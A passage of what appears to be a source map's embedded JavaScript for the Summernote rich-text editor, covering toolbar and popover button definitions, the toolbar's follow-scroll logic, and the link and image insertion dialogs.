});\n },\n callback: ($button) => {\n const $recentColor = $button.find('.note-recent-color');\n $recentColor.css('background-color', '#FFFF00');\n $button.attr('data-backColor', '#FFFF00');\n }\n }),\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents('', this.options),\n tooltip: this.lang.color.more,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdown({\n items: [\n '<div class=\"note-palette\">',\n ' <div class=\"note-palette-title\">' + this.lang.color.background + '</div>',\n ' <div>',\n ' <button type=\"button\" class=\"note-color-reset btn btn-light\" data-event=\"backColor\" data-value=\"inherit\">',\n this.lang.color.transparent,\n ' </button>',\n ' </div>',\n ' <div class=\"note-holder\" data-event=\"backColor\"/>',\n '</div>',\n '<div class=\"note-palette\">',\n ' <div class=\"note-palette-title\">' + this.lang.color.foreground + '</div>',\n ' <div>',\n ' <button type=\"button\" class=\"note-color-reset btn btn-light\" data-event=\"removeFormat\" data-value=\"foreColor\">',\n this.lang.color.resetToDefault,\n ' </button>',\n ' </div>',\n ' <div class=\"note-holder\" data-event=\"foreColor\"/>',\n '</div>'\n ].join(''),\n callback: ($dropdown) => {\n $dropdown.find('.note-holder').each((idx, item) => {\n const $holder = $(item);\n $holder.append(this.ui.palette({\n colors: this.options.colors,\n colorsName: this.options.colorsName,\n eventName: $holder.data('event'),\n container: this.options.container,\n tooltip: this.options.tooltip\n }).render());\n });\n },\n click: (event) => {\n const $button = $(event.target);\n const eventName = $button.data('event');\n const value = $button.data('value');\n\n if (eventName && value) {\n const key = eventName === 'backColor' ? 'background-color' : 'color';\n const $color = $button.closest('.note-color').find('.note-recent-color');\n const $currentButton = $button.closest('.note-color').find('.note-current-color-button');\n\n $color.css(key, value);\n $currentButton.attr('data-' + eventName, value);\n this.context.invoke('editor.' + eventName, value);\n }\n }\n })\n ]\n }).render();\n });\n\n this.context.memo('button.ul', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.unorderedlist),\n tooltip: this.lang.lists.unordered + this.representShortcut('insertUnorderedList'),\n click: this.context.createInvokeHandler('editor.insertUnorderedList')\n }).render();\n });\n\n this.context.memo('button.ol', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.orderedlist),\n tooltip: this.lang.lists.ordered + this.representShortcut('insertOrderedList'),\n click: this.context.createInvokeHandler('editor.insertOrderedList')\n }).render();\n });\n\n const justifyLeft = this.button({\n contents: this.ui.icon(this.options.icons.alignLeft),\n tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'),\n click: this.context.createInvokeHandler('editor.justifyLeft')\n });\n\n const justifyCenter = this.button({\n contents: this.ui.icon(this.options.icons.alignCenter),\n tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'),\n click: this.context.createInvokeHandler('editor.justifyCenter')\n });\n\n const justifyRight = this.button({\n contents: this.ui.icon(this.options.icons.alignRight),\n tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'),\n click: this.context.createInvokeHandler('editor.justifyRight')\n });\n\n const justifyFull = this.button({\n contents: this.ui.icon(this.options.icons.alignJustify),\n tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'),\n click: this.context.createInvokeHandler('editor.justifyFull')\n });\n\n const outdent = this.button({\n contents: this.ui.icon(this.options.icons.outdent),\n tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'),\n click: this.context.createInvokeHandler('editor.outdent')\n });\n\n const indent = this.button({\n contents: this.ui.icon(this.options.icons.indent),\n tooltip: this.lang.paragraph.indent + this.representShortcut('indent'),\n click: this.context.createInvokeHandler('editor.indent')\n });\n\n this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render'));\n this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render'));\n this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render'));\n this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render'));\n this.context.memo('button.outdent', func.invoke(outdent, 'render'));\n this.context.memo('button.indent', func.invoke(indent, 'render'));\n\n this.context.memo('button.paragraph', () => {\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.alignLeft), this.options),\n tooltip: this.lang.paragraph.paragraph,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdown([\n this.ui.buttonGroup({\n className: 'note-align',\n children: [justifyLeft, justifyCenter, justifyRight, justifyFull]\n }),\n this.ui.buttonGroup({\n className: 'note-list',\n children: [outdent, indent]\n })\n ])\n ]).render();\n });\n\n this.context.memo('button.height', () => {\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.textHeight), this.options),\n tooltip: this.lang.font.height,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdownCheck({\n items: this.options.lineHeights,\n checkClassName: this.options.icons.menuCheck,\n className: 'dropdown-line-height',\n title: this.lang.font.height,\n click: this.context.createInvokeHandler('editor.lineHeight')\n })\n ]).render();\n });\n\n this.context.memo('button.table', () => {\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.table), this.options),\n tooltip: this.lang.table.table,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdown({\n title: this.lang.table.table,\n className: 'note-table',\n items: [\n '<div class=\"note-dimension-picker\">',\n ' <div class=\"note-dimension-picker-mousecatcher\" data-event=\"insertTable\" data-value=\"1x1\"/>',\n ' <div class=\"note-dimension-picker-highlighted\"/>',\n ' <div class=\"note-dimension-picker-unhighlighted\"/>',\n '</div>',\n '<div class=\"note-dimension-display\">1 x 1</div>'\n ].join('')\n })\n ], {\n callback: ($node) => {\n const $catcher = $node.find('.note-dimension-picker-mousecatcher');\n $catcher.css({\n width: this.options.insertTableMaxSize.col + 'em',\n height: this.options.insertTableMaxSize.row + 'em'\n }).mousedown(this.context.createInvokeHandler('editor.insertTable'))\n .on('mousemove', this.tableMoveHandler.bind(this));\n }\n }).render();\n });\n\n this.context.memo('button.link', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.link),\n tooltip: this.lang.link.link + this.representShortcut('linkDialog.show'),\n click: this.context.createInvokeHandler('linkDialog.show')\n }).render();\n });\n\n this.context.memo('button.picture', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.picture),\n tooltip: this.lang.image.image,\n click: this.context.createInvokeHandler('imageDialog.show')\n }).render();\n });\n\n this.context.memo('button.video', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.video),\n tooltip: this.lang.video.video,\n click: this.context.createInvokeHandler('videoDialog.show')\n }).render();\n });\n\n this.context.memo('button.hr', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.minus),\n tooltip: this.lang.hr.insert + this.representShortcut('insertHorizontalRule'),\n click: this.context.createInvokeHandler('editor.insertHorizontalRule')\n }).render();\n });\n\n this.context.memo('button.fullscreen', () => {\n return this.button({\n className: 'btn-fullscreen',\n contents: this.ui.icon(this.options.icons.arrowsAlt),\n tooltip: this.lang.options.fullscreen,\n click: this.context.createInvokeHandler('fullscreen.toggle')\n }).render();\n });\n\n this.context.memo('button.codeview', () => {\n return this.button({\n className: 'btn-codeview',\n contents: this.ui.icon(this.options.icons.code),\n tooltip: this.lang.options.codeview,\n click: this.context.createInvokeHandler('codeview.toggle')\n }).render();\n });\n\n this.context.memo('button.redo', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.redo),\n tooltip: this.lang.history.redo + this.representShortcut('redo'),\n click: this.context.createInvokeHandler('editor.redo')\n }).render();\n });\n\n this.context.memo('button.undo', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.undo),\n tooltip: this.lang.history.undo + this.representShortcut('undo'),\n click: this.context.createInvokeHandler('editor.undo')\n }).render();\n });\n\n this.context.memo('button.help', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.question),\n tooltip: this.lang.options.help,\n click: this.context.createInvokeHandler('helpDialog.show')\n }).render();\n });\n }\n\n /**\n * image : [\n * ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],\n * ['float', ['floatLeft', 'floatRight', 'floatNone' ]],\n * ['remove', ['removeMedia']]\n * ],\n */\n addImagePopoverButtons() {\n // Image Size Buttons\n this.context.memo('button.imageSize100', () => {\n return this.button({\n contents: '<span class=\"note-fontsize-10\">100%</span>',\n tooltip: this.lang.image.resizeFull,\n click: this.context.createInvokeHandler('editor.resize', '1')\n }).render();\n });\n this.context.memo('button.imageSize50', () => {\n return this.button({\n contents: '<span class=\"note-fontsize-10\">50%</span>',\n tooltip: this.lang.image.resizeHalf,\n click: this.context.createInvokeHandler('editor.resize', '0.5')\n }).render();\n });\n this.context.memo('button.imageSize25', () => {\n return this.button({\n contents: '<span class=\"note-fontsize-10\">25%</span>',\n tooltip: this.lang.image.resizeQuarter,\n click: this.context.createInvokeHandler('editor.resize', '0.25')\n }).render();\n });\n\n // Float Buttons\n this.context.memo('button.floatLeft', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.alignLeft),\n tooltip: this.lang.image.floatLeft,\n click: this.context.createInvokeHandler('editor.floatMe', 'left')\n }).render();\n });\n\n this.context.memo('button.floatRight', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.alignRight),\n tooltip: this.lang.image.floatRight,\n click: this.context.createInvokeHandler('editor.floatMe', 'right')\n }).render();\n });\n\n this.context.memo('button.floatNone', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.alignJustify),\n tooltip: this.lang.image.floatNone,\n click: this.context.createInvokeHandler('editor.floatMe', 'none')\n }).render();\n });\n\n // Remove Buttons\n this.context.memo('button.removeMedia', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.trash),\n tooltip: this.lang.image.remove,\n click: this.context.createInvokeHandler('editor.removeMedia')\n }).render();\n });\n }\n\n addLinkPopoverButtons() {\n this.context.memo('button.linkDialogShow', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.link),\n tooltip: this.lang.link.edit,\n click: this.context.createInvokeHandler('linkDialog.show')\n }).render();\n });\n\n this.context.memo('button.unlink', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.unlink),\n tooltip: this.lang.link.unlink,\n click: this.context.createInvokeHandler('editor.unlink')\n }).render();\n });\n }\n\n /**\n * table : [\n * ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],\n * ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]\n * ],\n */\n addTablePopoverButtons() {\n this.context.memo('button.addRowUp', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.rowAbove),\n tooltip: this.lang.table.addRowAbove,\n click: this.context.createInvokeHandler('editor.addRow', 'top')\n }).render();\n });\n this.context.memo('button.addRowDown', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.rowBelow),\n tooltip: this.lang.table.addRowBelow,\n click: this.context.createInvokeHandler('editor.addRow', 'bottom')\n }).render();\n });\n this.context.memo('button.addColLeft', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.colBefore),\n tooltip: this.lang.table.addColLeft,\n click: this.context.createInvokeHandler('editor.addCol', 'left')\n }).render();\n });\n this.context.memo('button.addColRight', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.colAfter),\n tooltip: this.lang.table.addColRight,\n click: this.context.createInvokeHandler('editor.addCol', 'right')\n }).render();\n });\n this.context.memo('button.deleteRow', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.rowRemove),\n tooltip: this.lang.table.delRow,\n click: this.context.createInvokeHandler('editor.deleteRow')\n }).render();\n });\n this.context.memo('button.deleteCol', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.colRemove),\n tooltip: this.lang.table.delCol,\n click: this.context.createInvokeHandler('editor.deleteCol')\n }).render();\n });\n this.context.memo('button.deleteTable', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.trash),\n tooltip: this.lang.table.delTable,\n click: this.context.createInvokeHandler('editor.deleteTable')\n }).render();\n });\n }\n\n build($container, groups) {\n for (let groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) {\n const group = groups[groupIdx];\n const groupName = $.isArray(group) ? group[0] : group;\n const buttons = $.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group];\n\n const $group = this.ui.buttonGroup({\n className: 'note-' + groupName\n }).render();\n\n for (let idx = 0, len = buttons.length; idx < len; idx++) {\n const btn = this.context.memo('button.' + buttons[idx]);\n if (btn) {\n $group.append(typeof btn === 'function' ? btn(this.context) : btn);\n }\n }\n $group.appendTo($container);\n }\n }\n\n /**\n * @param {jQuery} [$container]\n */\n updateCurrentStyle($container) {\n const $cont = $container || this.$toolbar;\n\n const styleInfo = this.context.invoke('editor.currentStyle');\n this.updateBtnStates($cont, {\n '.note-btn-bold': () => {\n return styleInfo['font-bold'] === 'bold';\n },\n '.note-btn-italic': () => {\n return styleInfo['font-italic'] === 'italic';\n },\n '.note-btn-underline': () => {\n return styleInfo['font-underline'] === 'underline';\n },\n '.note-btn-subscript': () => {\n return styleInfo['font-subscript'] === 'subscript';\n },\n '.note-btn-superscript': () => {\n return styleInfo['font-superscript'] === 'superscript';\n },\n '.note-btn-strikethrough': () => {\n return styleInfo['font-strikethrough'] === 'strikethrough';\n }\n });\n\n if (styleInfo['font-family']) {\n const fontNames = styleInfo['font-family'].split(',').map((name) => {\n return name.replace(/[\\'\\\"]/g, '')\n .replace(/\\s+$/, '')\n .replace(/^\\s+/, '');\n });\n const fontName = lists.find(fontNames, this.isFontInstalled.bind(this));\n\n $cont.find('.dropdown-fontname a').each((idx, item) => {\n const $item = $(item);\n // always compare string to avoid creating another func.\n const isChecked = ($item.data('value') + '') === (fontName + '');\n $item.toggleClass('checked', isChecked);\n });\n $cont.find('.note-current-fontname').text(fontName).css('font-family', fontName);\n }\n\n if (styleInfo['font-size']) {\n const fontSize = styleInfo['font-size'];\n $cont.find('.dropdown-fontsize a').each((idx, item) => {\n const $item = $(item);\n // always compare with string to avoid creating another func.\n const isChecked = ($item.data('value') + '') === (fontSize + '');\n $item.toggleClass('checked', isChecked);\n });\n $cont.find('.note-current-fontsize').text(fontSize);\n }\n\n if (styleInfo['line-height']) {\n const lineHeight = styleInfo['line-height'];\n $cont.find('.dropdown-line-height li a').each((idx, item) => {\n // always compare with string to avoid creating another func.\n const isChecked = ($(item).data('value') + '') === (lineHeight + '');\n this.className = isChecked ? 'checked' : '';\n });\n }\n }\n\n updateBtnStates($container, infos) {\n $.each(infos, (selector, pred) => {\n this.ui.toggleBtnActive($container.find(selector), pred());\n });\n }\n\n tableMoveHandler(event) {\n const PX_PER_EM = 18;\n const $picker = $(event.target.parentNode); // target is mousecatcher\n const $dimensionDisplay = $picker.next();\n const $catcher = $picker.find('.note-dimension-picker-mousecatcher');\n const $highlighted = $picker.find('.note-dimension-picker-highlighted');\n const $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');\n\n let posOffset;\n // HTML5 with jQuery - e.offsetX is undefined in Firefox\n if (event.offsetX === undefined) {\n const posCatcher = $(event.target).offset();\n posOffset = {\n x: event.pageX - posCatcher.left,\n y: event.pageY - posCatcher.top\n };\n } else {\n posOffset = {\n x: event.offsetX,\n y: event.offsetY\n };\n }\n\n const dim = {\n c: Math.ceil(posOffset.x / PX_PER_EM) || 1,\n r: Math.ceil(posOffset.y / PX_PER_EM) || 1\n };\n\n $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });\n $catcher.data('value', dim.c + 'x' + dim.r);\n\n if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) {\n $unhighlighted.css({ width: dim.c + 1 + 'em' });\n }\n\n if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) {\n $unhighlighted.css({ height: dim.r + 1 + 'em' });\n }\n\n $dimensionDisplay.html(dim.c + ' x ' + dim.r);\n }\n}\n","import $ from 'jquery';\nexport default class Toolbar {\n constructor(context) {\n this.context = context;\n\n this.$window = $(window);\n this.$document = $(document);\n\n this.ui = $.summernote.ui;\n this.$note = context.layoutInfo.note;\n this.$editor = context.layoutInfo.editor;\n this.$toolbar = context.layoutInfo.toolbar;\n this.options = context.options;\n\n this.followScroll = this.followScroll.bind(this);\n }\n\n shouldInitialize() {\n return !this.options.airMode;\n }\n\n initialize() {\n this.options.toolbar = this.options.toolbar || [];\n\n if (!this.options.toolbar.length) {\n this.$toolbar.hide();\n } else {\n this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar);\n }\n\n if (this.options.toolbarContainer) {\n this.$toolbar.appendTo(this.options.toolbarContainer);\n }\n\n this.changeContainer(false);\n\n this.$note.on('summernote.keyup summernote.mouseup summernote.change', () => {\n this.context.invoke('buttons.updateCurrentStyle');\n });\n\n this.context.invoke('buttons.updateCurrentStyle');\n if (this.options.followingToolbar) {\n this.$window.on('scroll resize', this.followScroll);\n }\n }\n\n destroy() {\n this.$toolbar.children().remove();\n\n if (this.options.followingToolbar) {\n this.$window.off('scroll resize', this.followScroll);\n }\n }\n\n followScroll() {\n if (this.$editor.hasClass('fullscreen')) {\n return false;\n }\n\n const $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper');\n const editorHeight = this.$editor.outerHeight();\n const editorWidth = this.$editor.width();\n\n const toolbarHeight = this.$toolbar.height();\n $toolbarWrapper.css({\n height: toolbarHeight\n });\n\n // check if the web app is currently using another static bar\n let otherBarHeight = 0;\n if (this.options.otherStaticBar) {\n otherBarHeight = $(this.options.otherStaticBar).outerHeight();\n }\n\n const currentOffset = this.$document.scrollTop();\n const editorOffsetTop = this.$editor.offset().top;\n const editorOffsetBottom = editorOffsetTop + editorHeight;\n const activateOffset = editorOffsetTop - otherBarHeight;\n const deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight;\n\n if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) {\n this.$toolbar.css({\n position: 'fixed',\n top: otherBarHeight,\n width: editorWidth\n });\n } else {\n this.$toolbar.css({\n position: 'relative',\n top: 0,\n width: '100%'\n });\n }\n }\n\n changeContainer(isFullscreen) {\n if (isFullscreen) {\n this.$toolbar.prependTo(this.$editor);\n } else {\n if (this.options.toolbarContainer) {\n this.$toolbar.appendTo(this.options.toolbarContainer);\n }\n }\n }\n\n updateFullscreen(isFullscreen) {\n this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen);\n\n this.changeContainer(isFullscreen);\n }\n\n updateCodeview(isCodeview) {\n this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview);\n if (isCodeview) {\n this.deactivate();\n } else {\n this.activate();\n }\n }\n\n activate(isIncludeCodeview) {\n let $btn = this.$toolbar.find('button');\n if (!isIncludeCodeview) {\n $btn = $btn.not('.btn-codeview');\n }\n this.ui.toggleBtn($btn, true);\n }\n\n deactivate(isIncludeCodeview) {\n let $btn = this.$toolbar.find('button');\n if (!isIncludeCodeview) {\n $btn = $btn.not('.btn-codeview');\n }\n this.ui.toggleBtn($btn, false);\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class LinkDialog {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.$body = $(document.body);\n this.$editor = context.layoutInfo.editor;\n this.options = context.options;\n this.lang = this.options.langInfo;\n\n context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']);\n }\n\n initialize() {\n const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n const body = [\n '<div class=\"form-group note-form-group\">',\n `<label class=\"note-form-label\">${this.lang.link.textToDisplay}</label>`,\n '<input class=\"note-link-text form-control note-form-control note-input\" type=\"text\" />',\n '</div>',\n '<div class=\"form-group note-form-group\">',\n `<label class=\"note-form-label\">${this.lang.link.url}</label>`,\n '<input class=\"note-link-url form-control note-form-control note-input\" type=\"text\" value=\"http://\" />',\n '</div>',\n !this.options.disableLinkTarget\n ? $('<div/>').append(this.ui.checkbox({\n id: 'sn-checkbox-open-in-new-window',\n text: this.lang.link.openInNewWindow,\n checked: true\n }).render()).html()\n : ''\n ].join('');\n\n const buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn';\n const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.link.insert}</button>`;\n\n this.$dialog = this.ui.dialog({\n className: 'link-dialog',\n title: this.lang.link.insert,\n fade: this.options.dialogsFade,\n body: body,\n footer: footer\n }).render().appendTo($container);\n }\n\n destroy() {\n this.ui.hideDialog(this.$dialog);\n this.$dialog.remove();\n }\n\n bindEnterKey($input, $btn) {\n $input.on('keypress', (event) => {\n if (event.keyCode === key.code.ENTER) {\n event.preventDefault();\n $btn.trigger('click');\n }\n });\n }\n\n /**\n * toggle update button\n */\n toggleLinkBtn($linkBtn, $linkText, $linkUrl) {\n this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val());\n }\n\n /**\n * Show link dialog and set event handlers on dialog controls.\n *\n * @param {Object} linkInfo\n * @return {Promise}\n */\n showLinkDialog(linkInfo) {\n return $.Deferred((deferred) => {\n const $linkText = this.$dialog.find('.note-link-text');\n const $linkUrl = this.$dialog.find('.note-link-url');\n const $linkBtn = this.$dialog.find('.note-link-btn');\n const $openInNewWindow = this.$dialog.find('input[type=checkbox]');\n\n this.ui.onDialogShown(this.$dialog, () => {\n this.context.triggerEvent('dialog.shown');\n\n // if no url was given, copy text to url\n if (!linkInfo.url) {\n linkInfo.url = linkInfo.text;\n }\n\n $linkText.val(linkInfo.text);\n\n const handleLinkTextUpdate = () => {\n this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n // if linktext was modified by keyup,\n // stop cloning text from linkUrl\n linkInfo.text = $linkText.val();\n };\n\n $linkText.on('input', handleLinkTextUpdate).on('paste', () => {\n setTimeout(handleLinkTextUpdate, 0);\n });\n\n const handleLinkUrlUpdate = () => {\n this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n // display same link on `Text to display` input\n // when create a new link\n if (!linkInfo.text) {\n $linkText.val($linkUrl.val());\n }\n };\n\n $linkUrl.on('input', handleLinkUrlUpdate).on('paste', () => {\n setTimeout(handleLinkUrlUpdate, 0);\n }).val(linkInfo.url);\n\n if (!env.isSupportTouch) {\n $linkUrl.trigger('focus');\n }\n\n this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n this.bindEnterKey($linkUrl, $linkBtn);\n this.bindEnterKey($linkText, $linkBtn);\n\n const isChecked = linkInfo.isNewWindow !== undefined\n ? linkInfo.isNewWindow : this.context.options.linkTargetBlank;\n\n $openInNewWindow.prop('checked', isChecked);\n\n $linkBtn.one('click', (event) => {\n event.preventDefault();\n\n deferred.resolve({\n range: linkInfo.range,\n url: $linkUrl.val(),\n text: $linkText.val(),\n isNewWindow: $openInNewWindow.is(':checked')\n });\n this.ui.hideDialog(this.$dialog);\n });\n });\n\n this.ui.onDialogHidden(this.$dialog, () => {\n // detach events\n $linkText.off('input paste keypress');\n $linkUrl.off('input paste keypress');\n $linkBtn.off('click');\n\n if (deferred.state() === 'pending') {\n deferred.reject();\n }\n });\n\n this.ui.showDialog(this.$dialog);\n }).promise();\n }\n\n /**\n * @param {Object} layoutInfo\n */\n show() {\n const linkInfo = this.context.invoke('editor.getLinkInfo');\n\n this.context.invoke('editor.saveRange');\n this.showLinkDialog(linkInfo).then((linkInfo) => {\n this.context.invoke('editor.restoreRange');\n this.context.invoke('editor.createLink', linkInfo);\n }).fail(() => {\n this.context.invoke('editor.restoreRange');\n });\n }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class LinkPopover {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.options = context.options;\n this.events = {\n 'summernote.keyup summernote.mouseup summernote.change summernote.scroll': () => {\n this.update();\n },\n 'summernote.disable summernote.dialog.shown': () => {\n this.hide();\n }\n };\n }\n\n shouldInitialize() {\n return !lists.isEmpty(this.options.popover.link);\n }\n\n initialize() {\n this.$popover = this.ui.popover({\n className: 'note-link-popover',\n callback: ($node) => {\n const $content = $node.find('.popover-content,.note-popover-content');\n $content.prepend('<span><a target=\"_blank\"></a> </span>');\n }\n }).render().appendTo(this.options.container);\n const $content = this.$popover.find('.popover-content,.note-popover-content');\n\n this.context.invoke('buttons.build', $content, this.options.popover.link);\n }\n\n destroy() {\n this.$popover.remove();\n }\n\n update() {\n // Prevent focusing on editable when invoke('code') is executed\n if (!this.context.invoke('editor.hasFocus')) {\n this.hide();\n return;\n }\n\n const rng = this.context.invoke('editor.createRange');\n if (rng.isCollapsed() && rng.isOnAnchor()) {\n const anchor = dom.ancestor(rng.sc, dom.isAnchor);\n const href = $(anchor).attr('href');\n this.$popover.find('a').attr('href', href).html(href);\n\n const pos = dom.posFromPlaceholder(anchor);\n this.$popover.css({\n display: 'block',\n left: pos.left,\n top: pos.top\n });\n } else {\n this.hide();\n }\n }\n\n hide() {\n this.$popover.hide();\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class ImageDialog {\n constructor(context) {\n this.context = context;\n this.ui = $.summernote.ui;\n this.$body = $(document.body);\n this.$editor = context.layoutInfo.editor;\n this.options = context.options;\n this.lang = this.options.langInfo;\n }\n\n initialize() {\n const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n let imageLimitation = '';\n if (this.options.maximumImageFileSize) {\n const unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024));\n const readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 +\n ' ' + ' KMGTP'[unit] + 'B';\n imageLimitation = `<small>${this.lang.image.maximumFileSize + ' : ' + readableSize}</small>`;\n }\n\n const body = [\n '<div class=\"form-group note-form-group note-group-select-from-files\">',\n '<label class=\"note-form-label\">' + this.lang.image.selectFromFiles + '</label>',\n '<input class=\"note-image-input note-form-control note-input\" ',\n ' type=\"file\" name=\"files\" accept=\"image/*\" multiple=\"multiple\" />',\n imageLimitation,\n '</div>',\n '<div class=\"form-group note-group-image-url\" style=\"overflow:auto;\">',\n '<label class=\"note-form-label\">' + this.lang.image.url + '</label>',\n '<input class=\"note-image-url form-control note-form-control note-input ',\n ' col-md-12\" type=\"text\" />',\n '</div>'\n ].join('');\n const buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn';\n const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.image.insert}</button>`;\n\n this.$dialog = this.ui.dialog({\n title: this.lang.image.insert,\n fade: this.options.dialogsFade,\n body: body,\n footer: footer\n }).render().appendTo($container);\n }\n\n destroy() {\n this.ui.hideDialog(this.$dialog);\n this.$dialog.remove();\n }\n\n bindEnterKey($input, $btn) {\n $input.on('keypress', (event) => {\n if (event.keyCode === key.code.ENTER) {\n event.preventDefault();\n $btn.trigger('click');\n }\n });\n }\n\n show() {\n this.context.invoke('editor.saveRange');\n this.showImageDialog().then((data) => {\n // [workaround] hide dialog before restore range for IE range focus\n this.ui.hideDialog(this.$dialog);\n this.context.invoke('editor.restoreRange');\n\n if (typeof data === 'string') { // image url\n this.context.invoke('editor.insertImage', data);\n } else { // array of files\n this.context.invoke('editor.insertImagesOrCallback', data);\n }\n }).fail(() => {\n this.context.invoke('editor.restoreRange');\n });\n }\n\n /**\n * show image dialog\n *\n * @param {jQuery} $dialog\n * @return {Promise}\n */\n showImageDialog() {\n return $.Deferred((deferred) => {\n const $imageInput = this.$dialog.find('.note-image-input');\n const $imageUrl = this.$dialog.find('.note-image-url');\n const $imageBtn = this.$dialog.find('.note-image-btn');\n\n this.ui.onDialogShown(this.$dialog, () => {\n this.context.triggerEvent('dialog.shown');\n\n // Cloning imageInput to clear element.\n $imageInput.replaceWith($imageInput.clone().on('change', (event) => {\n deferred.resolve(event.target.files || event.target.value);\n }).val(''));\n\n $imageBtn.click((event) => {\n event.preventDefault();\n\n deferred.resolve($imageUrl.val());\n });\n\n $imageUrl.on('keyup paste', () => {\n const url = $imageUrl.val();\n this.ui.toggleBtn($imageBtn, url);\n }).val('');\n\n if (!env.isSupportTouch) {\n $imageUrl.trigger('focus');\n }\n this.bindEnterKey($imageUrl, $imageBtn);\n });\n\n this.ui.onDialogHidden(this.$dialog, () => {\n $imageInput.off('change');\n $imageUrl.off('keyup paste keypress');\n $imageBtn.off('click');\n\n if (deferred.state() === 'pending') {\n deferred.reject();\n }\n });\n\n this.ui.showDialog(this.$dialog);\n });\n }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\n/**\n * Image popover module\n * mouse events that show/hide popover will be handled by Handle.js.\n * Handle.js will receive the events and invoke 'imagePopover.update'.\n */\nexport default class ImagePopover {\n constructor(context) {\n this.context = context;\n this.ui = $.summernote.ui;\n\n this.editable = context.layoutInfo.editable[0];\n this.options = context.options;\n\n this.events = {\n 'summernote.disable': () => {\n this.hide();\n }\n };\n }\n\n shouldInitialize() {\n return !lists.isEmpty(this.options.popover.image);\n }\n\n initialize() {\n this.$popover = this.ui.popover({\n className: 'note-image-popover'\n }).render().appendTo(this.options.container);\n const $content = this.$popover.find('.popover-content,.note-popover-content');\n this.context.invoke('buttons.build', $content, this.options.popover.image);\n }\n\n destroy() {\n this.$popover.remove();\n }\n\n update(target) {\n if (dom.isImg(target)) {\n const pos = dom.posFromPlaceholder(target);\n const posEditor = dom.posFromPlaceholder(this.editable);\n this.$popover.css({\n display: 'block',\n left: this.options.popatmouse ? event.pageX - 20 : pos.left,\n top: 